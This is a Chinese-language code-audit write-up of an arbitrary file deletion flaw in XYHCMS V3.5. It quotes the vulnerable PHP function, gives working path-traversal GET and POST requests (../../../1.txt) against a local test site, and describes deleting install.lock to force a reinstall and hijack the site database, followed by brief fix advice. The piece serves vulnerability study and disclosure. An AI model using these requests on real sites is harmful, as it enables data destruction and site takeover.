【程式碼審計】XYHCMS V3.5任意檔案刪除漏洞分析
0x00 環境準備
XYHCMS官網:http://www.xyhcms.com/
網站原始碼版本:XYHCMS V3.5(2017-12-04 更新)
程式原始碼下載:http://www.xyhcms.com/Show/download/id/2/at/0.html
測試網站首頁:
0x01 程式碼分析
1、漏洞檔案位置:/App/Manage/Controller/DatabaseController.class.php 第293--233行:
- public function delSqlFiles() {
- $id = I('id', 0, 'intval');
- $batchFlag = I('get.batchFlag', 0, 'intval');
- //批量刪除
- if ($batchFlag) {
- $files = I('key', array());
- } else {
- $files[] = I('sqlfilename', '');
- }
- 10. if (empty($files)) {
- 11. $this->error('請選擇要刪除的sql檔案');
- 12. }
- 13. foreach ($files as $file) {
- 14. unlink($this->getDbPath() . '/' . $file);
- 15. }
- 16. $this->success("已刪除:" . implode(",", $files), U('Database/restore'));
- 17. }
這段函式中對提交的引數進行簡單的判斷,然後將接受的引數拼接到路徑中,帶入到unlink函式中進行刪除,導致程式在實現上存在任意檔案刪除漏洞,攻擊者可通過該漏洞刪除任意檔案,如刪除install.lock進行CMS重灌,劫持網站
資料庫。
0x02 漏洞利用
1、在網站根目錄新建1.txt作為漏洞測試檔案
2、進行漏洞利用
漏洞利用方式一:
通過GET方式提交引數,刪除根目錄下的1.txt檔案
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\1.txt/tm/1
漏洞利用方式二:
通過POST提交引數,刪除根目錄下的1.txt檔案
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/batchFlag/1
POST:key%5B%5D=../../../1.txt
3、如何進一步利用呢?
刪除\Install\install.lock,進行CMS重灌,劫持網站資料庫。刪除install.lock檔案,訪問http://127.0.0.1/install/,成功進入系統重灌介面。
0x03 修復建議
1、過濾..,用來防止目錄跳轉
2、對要刪除的檔名進行嚴格限制
最後
歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。